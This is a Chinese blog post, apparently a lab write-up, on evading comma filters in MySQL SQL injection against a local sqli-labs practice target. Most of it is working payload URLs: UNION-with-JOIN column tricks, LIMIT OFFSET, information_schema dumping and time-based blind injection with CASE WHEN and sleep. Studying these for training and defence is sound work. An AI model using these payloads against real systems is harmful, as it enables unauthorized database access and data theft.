mysql 去除逗号_mysql注入之过滤逗号

1.联合查询

无逗号语句:http://127.0.0.1/sqli-labs-master/Less-2/?id=-2 union select * from ( (select user())a JOIN (select version())b JOIN (select database())c ) -- - //我们分别查询user(),version(),database()

dc93ea67c34426be37c5c2eb9ca3a523.png

说明后面两个字段可以显示出来 然后我们进行下一步操作

无逗号语句:http://127.0.0.1/sqli-labs-master/Less-2/?id=-2 union select * from ( (select user())a JOIN (select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 1 offset 0)b JOIN (select database())c ) -- -

原本注入语句: http://127.0.0.1/sqli-labs-master/Less-2/?id=-2 union select 1,table_name,3 from information_schema.tables where table_schema=0x7365637572697479 limit 0,1 -- -

999143f94c83cb8a726e6499018f903c.png

所以网上找了下MySQL limit 2种写法

ba8917bbc7a56ea2237d0410dce1fddf.png

当然如果条件允许也可以使用:

http://127.0.0.1/sqli-labs-master/Less-2/?id=-2

union select * from ( (select user())a JOIN (select

group_concat(table_name) from information_schema.tables where

table_schema=0x7365637572697479)b JOIN (select database())c ) --

-这样的语句直接报出所有

报字段和内容也就一样了。

2.盲注

无逗号注入语句:http://127.0.0.1/sqli-labs-master/Less-2/?id=2 and case when mid((select user()) from 2 for 1)='o' then sleep(3) else 0 end -- -

原本注入语句:http://127.0.0.1/sqli-labs-master/Less-2/?id=2 and if(mid((select user()),2,1)='o',sleep(3),0);%23

18ab2065e80df758b20259b5513be347.png

mid((select user()) from 2 for 1) // 从第2位开始取只取1位

case when 条件 then (条件为真输出) else (条件为假输出) end (结束)。

55bd853446849c7ecfb139971144b11e.png

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值